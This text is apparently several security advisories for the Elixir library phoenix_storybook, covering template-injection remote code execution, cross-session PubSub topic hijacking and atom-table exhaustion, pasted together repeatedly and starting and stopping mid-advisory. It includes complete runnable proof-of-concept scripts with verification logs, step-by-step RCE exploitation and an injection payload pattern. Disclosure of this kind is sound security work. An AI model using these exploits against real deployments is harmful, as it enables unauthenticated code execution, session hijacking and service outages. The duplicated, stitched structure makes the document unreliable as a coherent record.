No authentication, no special configuration, and no user interaction are required.

Impact

This is a pre-authentication remote code execution vulnerability. Any user able to reach the storybook endpoint, including unauthenticated internet users if the storybook is publicly deployed, can execute arbitrary operating system commands with the privileges of the server process. All versions of phoenix_storybook from 0.5.0 before 1.1.0 are affected.

Resources

• Introduction Commit: https://github.com/phenixdigital/phoenix_storybook/commit/e35379dfe2ef1a71b141899e36f431017c55265d
• Patch Commit: https://github.com/phenixdigital/phoenix_storybook/commit/56ab8464d4375fa52db806148a06cce126ad481d

Summary

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.

Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic

Summary

An attacker who can deliver psb-assign, psb-toggle, psb-set-theme, upper-tab-navigation, lower-tab-navigation, playground-change, or playground-toggle LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

Details

PhoenixStorybook.Story.Playground and PhoenixStorybook.ExtraAssignsHelpers converts user-supplied event params into atoms without checking whether the atoms already exist:

• handle_set_variation_assign/3 (lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59) iterates the event params map and calls String.to_atom/1 on every key.
• handle_toggle_variation_assign/3 (line 73) calls String.to_atom/1 on the "attr" value supplied by the client.
• to_variation_id/2 (lines 90, 93) calls String.to_atom/1 on each element of "variation_id".
• to_value/4 (lines 106, 107) calls String.to_atom/1 on the raw string value for any attribute declared as :atom or :boolean.

The existing guards do not help: check_type!/3 for :boolean inspects the atom after String.to_atom/1 has already interned it, so the leak has already happened. The :atom branch only checks is_atom/1, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use String.to_existing_atom/1 (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared story.attributes() / variation registry and reuse the atom from there.

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.

Summary

An unsafe HEEx template generation vulnerability allows any unauthenticated user to execute arbitrary code on the server. The phoenix_storybook playground accepts user-controlled attribute values over WebSocket and interpolates them unsanitized into a HEEx template that is subsequently compiled and evaluated with full Elixir Kernel access.

Details

The vulnerability is a three-step chain:

1. Unsanitized WebSocket input (extra_assigns_helpers.ex) The psb-assign event handler in PhoenixStorybook.Story.PlaygroundPreviewLive accepts arbitrary attribute names and values from unauthenticated WebSocket clients and stores them verbatim via ExtraAssignsHelpers.handle_set_variation_assign/3.

2. Unescaped interpolation into HEEx (component_renderer.ex) ComponentRenderer.attributes_markup/1 builds a HEEx template string by interpolating binary attribute values directly:

{name, val} when is_binary(val) ->
  ~s|#{name}="#{val}"|

No escaping of " or { is performed. A value such as foo" injected={EXPR} bar=" breaks out of the attribute string and injects EXPR as an inline HEEx expression.

3. Unsandboxed evaluation (component_renderer.ex) The resulting HEEx string is compiled via EEx.compile_string/2 and evaluated via Code.eval_quoted_with_env/3 with full Kernel imports and no sandbox. The injected expression executes on the server even if it causes a rendering error.

PoC

1. Identify any story URL with a Playground tab (e.g. /storybook/core_components/button).
2. Connect to the Phoenix LiveView WebSocket without any authentication.
3. Join the story's LiveView channel and send a psb-assign event with an attribute value that escapes the HEEx attribute context and embeds an Elixir expression (e.g. a System.cmd/2 call).
4. The server evaluates the injected expression and returns its output in the rendered response.

No authentication, no special configuration, and no user interaction are required.

Impact

This is a pre-authentication remote code execution vulnerability. Any user able to reach the storybook endpoint, including unauthenticated internet users if the storybook is publicly deployed, can execute arbitrary operating system commands with the privileges of the server process. All versions of phoenix_storybook from 0.5.0 before 1.1.0 are affected.

Resources

• Introduction Commit: https://github.com/phenixdigital/phoenix_storybook/commit/e35379dfe2ef1a71b141899e36f431017c55265d
• Patch Commit: https://github.com/phenixdigital/phoenix_storybook/commit/56ab8464d4375fa52db806148a06cce126ad481d

Summary

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.

Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic

Summary

An attacker who can deliver psb-assign, psb-toggle, psb-set-theme, upper-tab-navigation, lower-tab-navigation, playground-change, or playground-toggle LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

Details

PhoenixStorybook.Story.Playground and PhoenixStorybook.ExtraAssignsHelpers converts user-supplied event params into atoms without checking whether the atoms already exist:

• handle_set_variation_assign/3 (lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59) iterates the event params map and calls String.to_atom/1 on every key.
• handle_toggle_variation_assign/3 (line 73) calls String.to_atom/1 on the "attr" value supplied by the client.
• to_variation_id/2 (lines 90, 93) calls String.to_atom/1 on each element of "variation_id".
• to_value/4 (lines 106, 107) calls String.to_atom/1 on the raw string value for any attribute declared as :atom or :boolean.

The existing guards do not help: check_type!/3 for :boolean inspects the atom after String.to_atom/1 has already interned it, so the leak has already happened. The :atom branch only checks is_atom/1, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use String.to_existing_atom/1 (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared story.attributes() / variation registry and reuse the atom from there.

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.

Summary

An unsafe HEEx template generation vulnerability allows any unauthenticated user to execute arbitrary code on the server. The phoenix_storybook playground accepts user-controlled attribute values over WebSocket and interpolates them unsanitized into a HEEx template that is subsequently compiled and evaluated with full Elixir Kernel access.

Details

The vulnerability is a three-step chain:

1. Unsanitized WebSocket input (extra_assigns_helpers.ex) The psb-assign event handler in PhoenixStorybook.Story.PlaygroundPreviewLive accepts arbitrary attribute names and values from unauthenticated WebSocket clients and stores them verbatim via ExtraAssignsHelpers.handle_set_variation_assign/3.

2. Unescaped interpolation into HEEx (component_renderer.ex) ComponentRenderer.attributes_markup/1 builds a HEEx template string by interpolating binary attribute values directly:

{name, val} when is_binary(val) ->
  ~s|#{name}="#{val}"|

No escaping of " or { is performed. A value such as foo" injected={EXPR} bar=" breaks out of the attribute string and injects EXPR as an inline HEEx expression.

3. Unsandboxed evaluation (component_renderer.ex) The resulting HEEx string is compiled via EEx.compile_string/2 and evaluated via Code.eval_quoted_with_env/3 with full Kernel imports and no sandbox. The injected expression executes on the server even if it causes a rendering error.

PoC

1. Identify any story URL with a Playground tab (e.g. /storybook/core_components/button).
2. Connect to the Phoenix LiveView WebSocket without any authentication.
3. Join the story's LiveView channel and send a psb-assign event with an attribute value that escapes the HEEx attribute context and embeds an Elixir expression (e.g. a System.cmd/2 call).
